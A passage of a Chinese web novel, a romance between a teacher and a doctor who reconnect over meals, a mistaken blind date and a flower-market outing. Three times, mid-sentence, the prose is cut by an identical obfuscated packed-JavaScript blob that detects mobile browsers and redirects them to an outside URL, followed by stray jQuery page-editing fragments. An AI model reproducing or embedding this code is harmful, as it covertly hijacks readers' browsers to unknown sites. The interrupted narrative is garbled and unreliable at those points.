邱遂辰打断:“都这样了还舍不得外卖?” 冉星:“……” 邱遂辰给意见:“喝粥?” 冉星弱弱地:“你煮吗?” 邱遂辰把问题抛回去:“你自己来煮?” 冉星猛摇头。 邱遂辰去把大灯开了,光线明亮起来,冉星那白脚丫亮得反光,邱遂辰指挥:“去把鞋穿上。” 冉星听话得很,折返回屋里,穿好拖鞋,再出来拿杯子装水。 邱遂辰在厨房里捣腾,冉星问他喝不喝水。 邱遂辰不渴,把柜子翻了一遍,很遗憾的语气:“你的粮仓里只剩这袋东西。” 冉星喝两口水润喉,凑到邱遂辰身侧,看了眼被拿到台面上的一袋红底包装的面线糊。 这东西是班里生物老师年假去南方旅游买回来的手伴礼,冉星吃不惯,这小东西别看分量少,吃是吃不完的,它神奇的会“繁殖”。 但换句话说,面线糊清淡软糯,适合肠胃脆弱的冉患者。 冉星把厨柜里空了的米袋收起来,打开冰箱,“好像还有蛋,”他在面线糊的基础上加了点小要求:“得打个蛋花。” “可以。”邱遂辰把冰箱里的蛋拿出来,起锅煮面。 冉星出去把中岛台上的东西收拾了下,摆好两副筷子,在自己常坐的位子对面也摆了张椅子。 他是想和邱遂辰共进“夜宵”。 可惜邱遂辰最后盛上来的只有一碗带蛋花的面线糊。 面线糊刚出锅,飘着热乎乎的白烟。 冉星伸头往厨房里看,煮面的锅已经泡进了水槽,冉星啊了声:“你不吃吗?” 邱遂辰把面推到冉星跟前:“我等等回去吃香喝辣。” “你在医院都这态度对待患者啊,”冉星现在听不得好吃的食物,“他们不投诉你。” 邱遂辰皮笑肉不笑:“你要投诉我?” 冉星用勺子搅面,散热,干笑:“哪敢。” 邱遂辰叮嘱:“很烫,不要急着吃,对胃不好。” 冉星:“好。” 邱遂辰去把搭在沙发背上的外套穿上,冉星吹着碗里的热气,用勺子小尝了一口味道,余光看邱遂辰的动作,放下勺子,冉星:“你要走了?” 客厅的窗帘刚才被冉星拉开了,外头天还是黑的。 不到凌晨五点的时段。 邱遂辰点头,“我白天有个线上会议。”主要是给几个研究生讲课。 冉星想了下,放下勺子,“屋里金子没有,”边说边走到厨房门后,从地上拿起比较小的一袋子:“不过有一些地瓜,我外婆种的,很甜,你拿点回去煮。” 邱遂辰把外套拉链拉好,走到冉星跟前,接过袋子,还挺沉,邱遂辰:“你该不会是想用这袋地瓜抵欠我的那顿饭?” 冉星被逗笑:“学长,我像那种人吗?” 睡过一觉后的冉星气色好了不少,笑起来漂亮的桃花眼变月牙弯弯,声音干净清透,尾音不自觉的上扬。 邱遂辰神色微动,弯起嘴角,略向前倾身,低低一笑:“再叫一声。” 冉星:“嗯?” 邱遂辰不语,直勾勾看着冉星。 半秒后冉星反应过来,试着、小声:“学长?” 语调轻如羽毛,划过邱遂辰的心湖。 邱遂辰向后退开半步,手里拎着一袋地瓜,似漫不经心地语气:“有多久没听过你这样叫我了。” 冉星目光闪了闪:“学长师出高门,我没叫,肯定还有很多学弟学妹叫你啊。” 邱遂辰被这话堵了下。 那倒是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313801|152357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但就是没有一个叫得这么娇。 话题没再继续,邱遂辰去玄关换鞋,回头交代冉星:“药记得吃。”冉星想要送他,被挡下来:“走了,不用送。” 冉星摸了摸鼻梁,乖乖看着邱遂辰提着地瓜离开的背影。 *** 其实对于上次的“欠一顿饭”,冉星还有些犹豫,不知道邱遂辰是开玩笑的还是开玩笑的。 但既然这顿饭局再被提及,身体好了后,冉星鼓足勇气,私信邱遂辰:“学长,这周末有空吗?想请你吃饭。” 冉星看着聊天界面里,六年后出现的第一段对话,邱遂辰秒回:“有空。” 聊天框顶显示“对方正在输入”,几秒后,冉星看到对面又发来一段:“什么时候,吃什么?” 他俩生活里都是计划性明确的人,当场敲定时间:“周六晚上八点,吃西餐?” 对方:“肠胃好了?” 冉星敲屏幕的手停了下,从表情库里找出“小黄豆皱眉”表情:“还好吧。” 邱医生:“吃中餐吧。” 肠胃炎刚治愈没两天的冉患者:“ok.” 最后选的是一家中规中矩的家常菜,地点在邱遂辰上班的医院附近。 A市人民医院历史悠久,地处市中心,周边老城区多,选中的这家家常菜也开了近三十年历史。 餐馆门面不大,邱遂辰常来吃,轻车熟路,冉星跟着邱遂辰走。 他们来得早,还没到饭点,店里位置多,两人选了靠角落的座位。 落座后邱遂辰就把提了一路的护手霜套盒递给冉星。 冉星在扫码点餐,被推到眼下的精美礼盒吸引住。 邱遂辰正儿八经地道:“容易过敏的皮肤最好多护理保养。” 冉星拖长音调,啊了一声,抬眼看面前的男人。 今天周六,两人都不需要值班。 邱遂辰搭了套休闲运动服,剪过头发,比上次见面时短了不少,半垂着眼,目光在护手霜礼盒上。 冉星没伸手接。 邱遂辰抬下巴:“送你。” 冉星放下扫码点餐的手机,表情略警惕:“为什么送我?” 邱遂辰张开就来:“地瓜,回礼。” 冉星思路转了两下,才伸手去接礼盒,盒子不重,掂了两下便放旁边空位上,冉星比较感兴趣的是:“好吃吗?” 问的是地瓜,邱遂辰:“不错,很甜。” “全吃完了?” “嗯。” “会一直放屁吗?”冉星询问专业医学人士。 邱遂辰脸上缓缓露出个问号。 冉星补充:“我没多吃,所以不清楚。” 邱遂辰:“……” 冉星一脸好学生求知欲。 邱遂辰叹了口气,满足学生的好奇心:“地瓜是产气食物,一天进食过量确实会产气,但适量的话只要人的肠胃健康,一般是不会一直……嗯。”委婉消音。 “这样啊。”冉星懂了,问题不在地瓜上,在苏英里的肠胃上。 邱遂辰拿手机:“点菜吧,他家卤肉盖饭不错。” 冉星刚才进过点餐页面,对其中一道菜挺感兴趣:“他们家的海蛎煲紫菜好吃吗?” 邱遂辰想了想,刚要评价,身后窜出个熟悉的问候声:“是邱老师吗?” 6.相亲 06 相亲 点餐的动作再次被打断。 冉星跟着邱遂辰往声源处望,只见一位已经开始穿短袖的男生在朝他们打招呼。 来者是邱遂辰带的男规培生,名曰纪风华,纯纯东北大个头。 邱遂辰放下手机,给了纪风华一毫无温度的眼神。 纪风华先嗨了声,自圆其说:“哦哦真是邱老师啊,邱老师打扰了,邱老师再见。”然后饭也不吃了,拔腿就跑。 冉星刚想打招呼,人跑得比兔子还快,冉星:“这?” 邱遂辰继续点餐:“别理他,我一学生。” 冉星碰了碰身侧的护手霜礼盒:“他不会到处说吧?” “到处说什么?” 冉星被问住。 邱遂辰表情纯粹。 冉星嘴角轻轻一撇。 好呗,能说什么,不就是一学生撞见俩许久未见的老朋友一起吃顿饭嘛。 邱遂辰不逗冉星乐了,缓声解释:“他性子闷,不是乱说话的人。” 冉星半信半疑。 “这家菜味道不错,”邱遂辰进入吃饭状态,“你说的那个紫菜煲味道还可以,想吃就点。” 冉星:“好。” 中餐烟火味浓,热乎滚烫,餐馆气氛暖洋洋。 而另一边,被老师评价为“不乱说话”的小纪同学离开餐馆,另选旁边一家牛肉面馆,边点餐边拍一拍冷师妹的微信头像,炸她一句:“你绝对想不到我刚才看到了什么大瓜。” 冷玲玲在宿舍泡面配文献,脾气很暴躁:“有屁快放。” 纪风华:“邱老师的瓜。” 冷玲玲、态度一百八十度大转弯:“师兄!饿饿!饭饭!” 纪风华,坐地起价:“补我三天的病历。” 冷玲玲:“……你踏马。” *** 这顿饭冉星吃撑了,菜色味道好吃到卷舌头,结账时冉星找老板要了餐馆名片,准备下次点外卖回去吃。 邱遂辰要开车送冉星回家,这回冉星没拒绝。 第一次坐邱遂辰的车,还是上次那辆黑色奥迪。 车内清洁干净,有股淡淡的不知名香气。 两人话不多,邱遂辰安全把人送到小区楼下,冉星礼貌性咨询:“学长,上楼喝杯水?” 邱遂辰摇下车窗,人没下车,拒绝了冉星的邀请:“还有点事,下次吧。” 冉星回以:“好的,下次再约。” 客套话说到位了,今天的约饭也就结束了。 冉星回家洗了个澡,时间还早,冉星摆烂了一阵,窝在床上打了把游戏。 但晚上的睡眠质量有点不太好。 海蛎和生蚝都算牡蛎科,滋阴补血。 一整个后半夜,冉星做这许多稀奇古怪和邱遂辰有关的梦。 梦里自己和邱遂辰喘得厉害。 次日醒来,冉星顶着张燥红的脸,懊恼地起床洗床单。 为洗去脑子里的黄色废料,冉星一口气做了两套卷子,准备好两篇范文,再备了一堂文言文课程。 一个周末就这样乱七八糟地过去了。 距高考还有两月不到的时间,高三语文组安排了一周两次的模拟测试。 周一一早语文课,冉星就把第一场模拟测试安排起来。 突击考试,发试卷时学生们统一嗷嚎上几声。 冉星板正着张脸,坐在讲台上监考。 讲台下是一群埋头奋笔疾书的高三学子。 班里一片安静,仅有唰唰的写字声,偶尔卷子翻页的唦唦声。 还没正式入夏,气候清爽。 半开的窗外,新冒出枝芽的树叶偶尔随风飘动。 静谧的周一大早,冉星恍惚间,走了会儿神。 冉星想起大学那会儿的事。 邱遂辰他们临床医学的课程比其他专业都要紧凑。 偶尔冉星没有专业课,就会假扮邱遂辰的同班同学去蹭人家医学院的专业课。 邱遂辰性子安静,冉星活泼闹腾,跟在邱遂辰身边叽叽喳喳,缠人得很,专业课也是冉星没皮没脸求着邱遂辰带他,他才有机会进教室蹭课。 那天也是这样舒服的早晨,冉星跟邱遂辰听内科讲课。 奈何隔行如隔山,冉星看不懂黑板上教授写的什么肾上腺皮质功能、糖皮质激素功能,听得迷迷糊糊,搞不明白。 不懂就算了。 安安静静看邱遂辰上课就行。 邱遂辰是年年拿奖学金的学霸人物,课堂上从不开小差,讲台上老师讲什么,邱遂辰就在笔记上写什么。 冉星单手支着脑袋,安静欣赏邱遂辰奋笔疾书的勤奋模样。 窗外是满树叶随风飘动的飒飒声。 一切美好到像浩瀚天际边上的月,梦幻得过分。 冉星心里一直住着个叫邱遂辰的白月光。 即便后来出事,冉星也不舍得把邱遂辰从心上摘掉。 这么偏执的暗恋程度只有冉星外婆知道。 外婆知道他心里有个忘不掉的神秘男人。 可随着年纪和时间的增长,外婆更偏现实主义,同性可婚后冉星没逃过外婆给他安排的“相亲”决定。 工作这几年偶尔相过几次,但除了吃顿饭就没有了后续。 年少时的邱遂辰太过惊艳,以至于后来冉星看谁都少了那么点意思。 现实主义的外婆给的理念是:忘记一个人,最好的办法就是重新开始。 比如相亲就是一段新故事的开始。 冉星对外婆是尊敬的,每次外婆给的相亲任务冉星都没拒绝。 他会乖乖赴约,但赴约后的结果,那就不一定乖了。 这次的相亲对象外婆只给了个碰面地址,美名其曰:“拆盲盒,留惊喜。” 冉星得到消息后还笑外婆:‘’时尚啊,知道我们年轻人喜欢刺激的小花样。” 外婆:“是怕你见了照片,瞧了模样,连出来和对方见面的机会都不给。” 外婆对冉星的评价时髦又现实:十级颜控者,冉星本星。 颜控本人在忙碌的工作中抽了个下午没课不用留校的时间赴了这趟相亲。 外婆定的是家富有情调的下午茶咖啡厅。 冉星到后和服务员报了预定的位置,服务员核对信息时直接把冉星觉得有点羞耻的内容念出来:“您是陆老太太说的下午会来相亲的冉先生吗?” 冉星:“……” 捂脸。 服务员得不到回应,尽职尽责,原话又问了一遍。 冉星闷闷地点头,声音小到不行:“……嗯,是。” 服务员:“好的,这边请,老太太给您预定的位置在这儿。” 冉星:“……” 他是听出来了,这间咖啡厅八/九不离十是外婆投/股的地盘。 服务员把冉星带到了幽静的小角落。 桌子被布置过,摆了一束红玫瑰。 相亲对象还没到。 冉星深吸口气,算了,只希望不要在这么尴尬的场面下遇到什么认识的人。 面前的红玫瑰亮得刺眼。 *** 纪风华平时其实不那么八卦的。 但这次的八卦对象是他家那铁面无私、冷酷无情的邱老师。 纪风华耐不住了。 也就是这样普普通通下夜班的日子,像往常一样普普通通的到宿舍楼下的咖啡厅喝喝咖啡、拿平板装逼看看学习材料,就让他撞见了上回与邱老师“为一盒礼物在餐馆纠缠不清”的男性朋友。 纪风华记性好,尤其老师的这位男性朋友长得好,红唇白齿,眉清目秀,桃花眼滴溜儿水灵灵地迷人呢。 和他们邱老师简直是男才男貌,天造地设。 这会儿,乍一听对方是来相亲的,纪风华坐不住,不淡定,前线人员立马汇报消息,顺带要点儿利息,微信一句话就过去:“老师,我觉得今天上午说的一晚上看完文献第二天导读的事情可以商量一下。” 邱遂辰的消息回得挺快:“讨价还价?” 纪风华感觉自己能横着走了:“我这儿有个交易想和老师做。” 时间一晃半小时过去。 在冉星不准备继续等待相亲对象的时候,门外匆匆进来一男子,男子健步如飞,目标明确,直往冉星这桌走过来。 脚步最后停在冉星面前。 冉星唰地下从椅子上站起来,目瞪口呆:“学长?” 今天百分之九十不可能会出现在这儿的邱遂辰因急步走还带喘了几口气,站在原地沉着张脸平复气息,前额碎发乱了好几根。 冉星第一次在邱遂辰身上看到“狼狈”两个字,有被惊到,问了个很白痴的问题:“是学长吗?” 邱遂辰薄唇抿成线:“你看是不是。” 冉星卡带。 邱遂辰调匀呼吸,低眉,瞥眼桌上刺目的红玫瑰。 冉星大脑硬件烧翻了。 ……啊。 是他想的那样吗? 外婆这次,这么给力的吗? 是在相亲市场冲会员了吗? 盲盒整这么贵的款? 那那那? 如果是学长,迟到半小时也不是什么大问题。 光站着不是事,咖啡厅里本就安静,冉星让邱遂辰坐下,极力控制脸上的表情,压低嗓音问对坐的人:“学长喜欢男生?” 才平复好心情的邱遂辰又给气笑。 红玫瑰横在两人之间。 邱遂辰看着冉星,小学弟脸蛋红扑扑,像被红玫瑰渡染了色。 “只是想确认一下,”冉星只觉脸有点烫,稳着语调让情绪保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315599|152357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇定:“我外婆年纪大了,”冉星指指脑袋的位置,“有时候稀里糊涂,就怕介绍人和你说我是女的。” 邱遂辰扯了下嘴角,有些话要先解释清楚:“冉星,其实。” 冉星歪头:“什么?” 邱遂辰坐正:“我……” 身侧突然地,又蹦出个男人来。 陌生男人目标明确,略过邱遂辰,直往冉星跟前扑:“不好意思,不好意思!我来晚了!” 冉星被吓了一跳。 “你好你好,你是冉星吧?”陌生男人朝冉星频频点头,就差鞠躬问好:“我叫宋书远,我奶奶经常找你外婆庄园买水果,”男人口齿伶俐,长句话说得不带喘气:“她们说你也快三十岁了还单身,介绍咱们俩认识认识。” 这个突然冒出来的叫宋书远的男人开口就是一顿输出。 冉星刚接通的脑袋又烧了几条,很快听明白,缓缓站起身,粉嫩嫩的红脸蛋唰地变苍白。 他他他他、认错相亲对象了! 冉星张了张嘴,把眼里大大的疑惑转向邱遂辰。 宋书远这才注意到对坐男人的存在,表情一窒,疑声:“你是?” 邱遂辰也站了起来,面无表情:“路人甲。” 路人甲同志视线越过宋书远,对冉星蹦出两字:“走了。” 冉星急忙:“学长。” 路人甲学长:“有事电话上说。” 冉星闭上嘴,眼儿巴巴的。 刚加入的宋书远分不清状况,“你们认识啊?” 冉星压下嘴角,没回话。 邱遂辰走远几米,又停下脚步,回头,看向刚才的位置。 红玫瑰愈发刺眼。 冉星比那相亲男矮了几公分,半垂着脑袋,耸拉着肩膀。 他没追上来,像被邱遂辰丢弃的可怜孩子。 相亲男背对着邱遂辰,不知在对冉星说什么,手舞足蹈,背影看着很激动。 和冉星情绪不高的样子形成了对比。 邱遂辰眸色沉沉,没再犹豫,折返回去,粗声粗气:“你家煤气关了吗?” 自我介绍被打断的宋书远:“啊?” 冉星僵着的脸还没调整好表情,邱遂辰杀回来的话让他哽了两秒,旋即,冉星坚定地点头:“没有。” 邱遂辰:“那还在这里干嘛?” 宋书远:“……” 冉星拔腿跑到邱遂辰身边,才清清嗓子,开口,和真正的相亲对象说了第一句话:“这位……嗯,”冉星甚至连对方的自我介绍都没认真听,“这位大哥,你刚才有点冒犯我了,我还没满三十岁,现在正是能挑的年纪,”说着,冉星拿起手机,亮出时间,“你迟到了半个多小时,”点点自己的下巴位子,让对方注意下脸上没刮干净的胡须,“还有点不修边幅,”最后下结论:“抱歉哈,你有点长在我雷点上了。” 宋书远:“……” 邱遂辰飞快低下头,掩住眼底幽幽溢出的笑意。 *** 四月天的傍晚,夜幕比春天来得晚。 走出咖啡厅,太阳刚落山,空气里还残留一丝温热。 邱遂辰的车停在对面楼盘的临时停车点,冉星跟着邱遂辰走,有点好奇:“学长,你怎么知道我在这儿?” 刚给纪风华放水少看一篇文献的邱遂辰:“路过,买咖啡。” 冉星信了:“哦。”看邱遂辰空荡荡的手,又问:“没买咖啡?” 邱遂辰瞎说:“那家不好喝。” 冉星点头:“是,我外婆投资的店基本不太行。” 邱遂辰:“……”还是可以改口的,“装修不错。” 冉星笑了两声。 邱遂辰在地下车库找到车,冉星上副驾。 车内光线昏暗,冉星低头找了半天才插/上安全带。 卡扣咔哒上锁。 冉星问往哪走,邱遂辰没急着发动车,他转头:“我有没有什么长在你雷点上的地方?” 没想邱遂辰记着他刚才的胡说八道,微挑眉,蹭车的冉星嘴很甜:“学长整个人都长在我的审美点上。” 邱遂辰懒洋洋:“这样啊。” 又问:“我是不是把你相亲搞砸了?” 冉星摊手:“反正我本来也不是很想来相亲。” “是家里人催吗?” “老人家嘛,多多少少是有点着急,”冉星晚上还要和外婆道歉今天的事情呢,“她怕以后我一个人孤苦伶仃的。” 邱遂辰:“那。” 冉星侧目:“嗯?” 附近有车进来,近光灯从邱遂辰的车前晃过。 昏暗的车厢内短暂有了光源。 邱遂辰借着光亮,寻到冉星漂亮的桃花眼。 两人对上视线,邱遂辰嘴角弧度加深,慢条斯理道:“要不要和我相亲?” 7.花 07 花 直到车停在花鸟市场停车场,冉星才从邱遂辰那句相亲的话中回过神。 这种感觉要怎么形容呢? 像沙漠里口渴的人突然被丢进大水缸?还是像困得要死的人被扛上席梦思大床? 不,这些形容都太庸俗了。 冉星心脏在疯狂跳跃。 此时此刻,他一直想要拥有的那片星海,在主动向他靠近。 冉星想要尖叫跳跃,或者欢呼雀跃。 但冉星保持住冷静,不能让邱遂辰觉得自己毛毛躁躁。 邱遂辰把车停好,征求意见:“我可以和你一起逛吗?” 冉星声音有些抖,下意识:“为什么不可以?” 邱遂辰形容出这一路冉星紧绷着的表情模样,猜测:“我以为我刚才的话吓到你了。” 冉星摇头,“学长,”他只是被惊喜到,“我没那么不惊吓。” 邱遂辰语气变得小心翼翼:“那、是接受我刚才的提议吗?” “嘘。”冉星竖起食指,挡住邱遂辰后面的话。 邱遂辰鼻音发声:“嗯?” “学长,给我点儿思考时间。”冉星声音温和轻柔。 邱遂辰瞧冉星那小巧精致的脸蛋,皮肤又白又薄,在邱遂辰的注视下,白皙慢慢变粉、粉嫩加深,最后红得像熟透的樱桃。 冉星自己把自己说冒烟了。 尤其邱遂辰的回应:“那我等你。” 让气氛变得更加旖旎。 西郊区这边的花鸟市场占地面积不算太大,里里外外花不到半小时就能逛完。 春夏之交的季节,百花齐放,家家户户门前篮兜里都塞满了鲜花,品种多样。 邱遂辰不买花,跟着冉星从这家逛到另一家,冉星在这些百花中未对某枝情有独钟。 冉星没看到喜欢的。 咖啡厅的红玫瑰过于明艳招摇。 冉星更喜欢的是芍药的翩若仙仙,古典含蓄。 但现在不是芍药的季节,偶有一两家卖的铁蛋质感不是很好。 逛了一圈,冉星放弃买花,只买一株圆头圆脑的嘉文丸子。 付钱后冉星把多肉递给邱遂辰。 邱遂辰受宠若惊:“送我的?” 冉星对着植物比划了个圈:“这个养得好的话会开出一整环的小花。” 听着怪有趣,邱遂辰接过来,打量着肉球外圈的软刺,:“为什么送我?” 冉星让声音尽量平静:“因为我想和你相亲呀。” 前一秒还矜持说要思考时间,后一秒就说想相亲。 邱遂辰掂掂掌心里多肉的重量,要问清楚:“是开了小花才能相亲吗?” 冉星顶着热乎乎的脸蛋:“没开花也可以。” 邱遂辰笑了笑,声音像水里冒出来被戳破的泡泡,在冉星心湖上噗通噗通响,连声音也在荡涟漪:“好啊。” 冉星耿直脖颈:“嗯。” *** 邱遂辰捧着多肉,转身进了家花卉店,买了能装下一小颗多肉的陶瓷盆,把多肉成功移植进新盆里后,邱遂辰又买了一束多头玫瑰送给冉星,两人才结束这段花鸟市场之旅。 冉星抱着爱丽丝泡泡回家,翘起的嘴角就没压下来过。 厨房里上次的那束橙色芭比已经过了花期,花瓣奄奄的。 冉星将它们收拾起来,给新来家里的爱丽丝泡泡醒花、修枝、插瓶。 这是邱遂辰第一次送冉星的花,冉星宝贝得和金疙瘩似的,连剪枝叶都不舍得太用力。 爱丽丝泡泡在家里漂亮了好几天。 周五跟完晚自习后,冉星迎来了近期最闲的一个周末。 周六上午接到外婆的电话来念叨上回相亲的事,搪塞过去后,下午冉星就没有其他事,索性去超市买食材,他有段时间没上超星直播,这会儿有空,录点素材发动态。 今天要做的是紫菜煲海蛎。 第一次做,开录前冉星搜索了些教程视频,先把步骤学好,才敢在粉丝观众面前表演。 邱遂辰的周末不比冉星轻松,年轻医生总在为学术贡献私人时间,周六线上参加教授新课题讲座,周日阅读最新疾病文献指南。 休息时间以眼睛疲惫程度来决定。 邱遂辰周六一个白天都在和新课题奋斗,半夜三更才停下来,放慢学习的脚步,拿手机看了会儿未读新消息。 信息栏里躺着一条“一颗小星星”六小时前上线的提示消息。 邱遂辰摘掉防蓝光眼镜,揉揉酸涩的眉心,躺进沙发里,轻车熟路点开超星直播软件。 “一颗小星星”已经一星期多没发新作品了。 邱遂辰挺好奇今天冉星准备了什么美食。 错过了直播时间,邱遂辰看的是回放。 熟悉的视频框里呈现出那片熟悉的厨房陈设。 视频里的冉星穿了件白色短袖,短袖胸前布料上印着一只可爱的卡通恐龙。 步入夏天,室内基本是可以穿短袖的温度。 邱遂辰视线稍偏,看到冉星身后的琉璃台上,爱丽丝泡泡被打理得整齐漂亮,橙粉相间。 一颗小星星在这条直播链接文案上直白的打出【挺喜欢吃这道菜,第一次做,不合理的地方大家评论区指导。】 屏幕里的男人在台面上挥动坚实的手臂,动作有条不紊,先洗净了紫菜,再清洗海蛎壳。 邱遂辰是看出来了,冉星真对这道菜感兴趣。 但是这家伙知不知道,年轻气盛的单身男青年,多吃这些会有什么影响? 邱遂辰思想泛开,低笑声在空荡的房间回荡。 很突然的,在这漆黑的寂静深夜,他想和冉星聊聊天。 微信聊天框里记录着两人有一搭没一搭的对话内容。 从相亲事件后两人断断续续有在联系,频率不高,早安和晚安占据大半。 邱遂辰在输入法上敲敲打打,发送一句:“花枯萎了吗?” 半夜十一点半,冉星都把手机充上电准备睡觉,被邱遂辰发来的消息打断。 床头阅读灯亮着光,冉星翻身下床,拔掉充电线,拿着手机跑进厨房,开起氛围灯,对着开得圆圆润润的爱丽丝泡泡们一通连拍,选上几张角度不错的,连发给邱遂辰,并注:“还活着。” 那头窗口显示“正在输入”状态,几秒后,对方:“好看。” 冉星坐到中岛台前的高脚椅上,手肘靠上桌面,厨房灯没关,光照散到客厅里。 冉星脸上的喜悦被照得亮堂堂,他把刚才的几张照片重新点开,仔细观赏,愈发觉得自己技术高超,拍得好看。 两人的话题没结束,邱遂辰问了冉星周末安排。 冉星没有什么安排。 邱遂辰想到一个问题:“需要和你身边的朋友说我们的事情吗?” 冉星找了个尴尬模样的小黄豆表情发送,说:“我朋友不多。” 邱遂辰发了个ok的手势:“我不介意我们的关系被你的朋友们知道。” 冉星起身去把厨房灯关了,顺着卧室那盏微弱的阅读灯方向走,重新躺回床上,冉星问:“我们什么关系呢?” 城市的另一个角落,邱遂辰关掉电脑,来到露台上,仰头望没有月亮和星星的漆黑夜幕。 想象不出来冉星现在是什么表情,是严肃呢,还是在开玩笑。 邱遂辰试探地:“暧昧关系?” 等半天只等到这个回复的冉星:“……这。” 邱遂辰补充:“相亲后在进一步接触的关系?” 冉星在床上打了个滚,把床被卷成块,压在脚下:“我们没相亲。” “也是,”邱遂辰退出聊天界面,在工作群聊里找出下周的排班表,研究一番,心里有了个底,才敢做出邀请:“那我可以以相亲的名义,约你吃晚饭吗?” 冉星抖了一下,没拿稳手机,手机脱落,掉下来,砸到冉星左边脸。 冉星哎呦一声坐起来,捂着脸缓半天,垂下脑袋,手机屏幕还亮着,里头邱遂辰那串话不是幻觉。 这。 来真的啊。 *** 当然是来真的。 邱遂辰才不是玩弄感情的人。 但从那晚后隔了四天,两人都没敲定“相亲地点”要约在哪里。 今天外头下着小雨。 空气闷潮,一上午邱遂辰带着学生忙着查房、收病人,好不容易喘会儿气,纪风华和冷玲玲就开始东翻西找,还带着其他组的同学一起找医生办公室的空调遥控器。 这天气忙起来,热得眼镜能起一层雾。 找翻天也没找到遥控器,隔壁组的学生擦掉眼镜上的雾气,去外头找护士问遥控器。 冷玲玲回到座位,拿起刚查房时主任提出的几个问题要请教邱遂辰,一转身看到他们向来不苟言笑的邱老师翘起唇角在玩手机。 冷玲玲哇塞了声,靠近邱遂辰,难得话多:“老师,我发现你最近上班经常摸手机。” 冷玲玲声音不大,只有纪风华转视线看过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329795|152357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起好奇起来。 “观察得很仔细,”邱遂辰把冉星发来的兔子卖萌表情包加入收藏,放下手机,回复冷玲玲:“如果你早上给二十三床查体的时候也这么仔细就好了。” 冷玲玲:“……”很生硬的扯开话题,“老师,你桌上的多肉好好看。” 纪风华嗤笑:“你是没什么硬夸啊。” 明明就一颗普普通通的连花都没开的丑多肉。 冷玲玲瞪了纪师兄一眼。 桌上的小肉球被夸,邱遂辰接话:“是很好看。” 这颗是他前两天路过花鸟市场买的,个头比家里冉星送的那颗矮,样式也没冉星送的那颗好看。 但店家说这颗肉球夏天能开出小黄花,邱遂辰脑海里冒出冉星说的那句“可以开一环的小花”,等反应过来,邱遂辰已经付款买了这颗小肉球。 想着缘由,邱遂辰嘴角和眼角又向上翘了些弧度。 冷玲玲:“……” 纪风华安静了几秒,他好像get到了什么点,先前通风报信后他默默离开咖啡馆,没敢蹲邱老师私事的后续,他相信他们英俊的邱老师能稳住局面。 如此看来,好事将近。 这传情的多肉都送上了。 纪风华觉得自己牛逼坏了。 冷玲玲隔空对突然傻笑的师兄对口型:“你没事吧?” 纪风华卖关子:“你不懂的。” 今天的工作不多,邱遂辰和冉星的“相亲”约在了今天晚上。 冉星下午没课,晚自习年段安排了英语听力和英语小测。 布置好语文作业,冉星就在坐等下班。 墙上时针分针一圈圈转,滴答滴答。 冉星已经在想等会见面要说什么话。 可惜临到下班,冉星被邱遂辰放了鸽子。 邱遂辰的消息简洁明了:“抱歉,刚收了个绿色通道上来的脑出血患者,我要加班。” 消息提示音响起时冉星还以为邱遂辰提前到学校来接人。 拿起来看后才知道是提前来道歉。 坐冉星前面的三班吴老师拎包起身,和冉星说:“我绕去主任办公室一趟,先走了。” 冉星嗯哈了声和人道别,视线幽幽地又回到消息上。 邱遂辰还附了张工位的照片过来。 照片是随手拍的。 冉星点开。 邱遂辰工位上的电脑屏幕还亮着,照片只拍到一半的电子医嘱,隐去眉头的患者信息。 工位没什么装饰品,就一台式电脑,一叠用过的A4纸,还有显示屏下方一颗丑丑的多肉。 丑丑的多肉冉星见过,就在邱遂辰买回它的那一天,邱遂辰特地拍过特写照让冉星瞧。 冉星已经笑过邱遂辰被商家坑了冤种行为。 言归正传,冉星回复邱遂辰:“嗯,没事,你先忙。” 那头:“好。” 然后就真去忙了,聊天截止。 冉星不着急下班了,慢悠悠把桌上的东西整理干净,倒掉脚边的垃圾。 他脑海里是有闪过要不要上人家单位去等人下班的想法。 想法只冒出来一秒就被冉星自我否定掉。 这又不是在当年的学校。 他们不再是读书时无拘无束的大学生。 人家单位还有其他同事在。 冉星没有从前那股勇气去凑人家工作上的热闹,与其去冒险给邱遂辰添堵,还不如想想晚上吃点什么,是牛肉面还是云吞面。 办公室里没晚自习坐班任务的同事陆陆续续离开办公室,有的老师已经把靠边的电灯关了。 室内一片光一片暗。 冉星拿好包,也跟着离开办公室。 今天准备走南门出去,坐18路公交车,到公园南路下车,去那边的牛肉面店吃碗面再回家。 一切计划在脑子里过了一遍后,邱遂辰的电话就打了过来。 铃声叮叮当当。 冉星接听起来,那头邱遂辰的声音低沉好听:“你下班了?” 冉星走得慢,还没到校门口,拿着手机,目光远眺,远远看着刚过站的18路公交车,他道:“刚下班。” 邱遂辰:“我们医院附近有一家不错的烤肉店。” 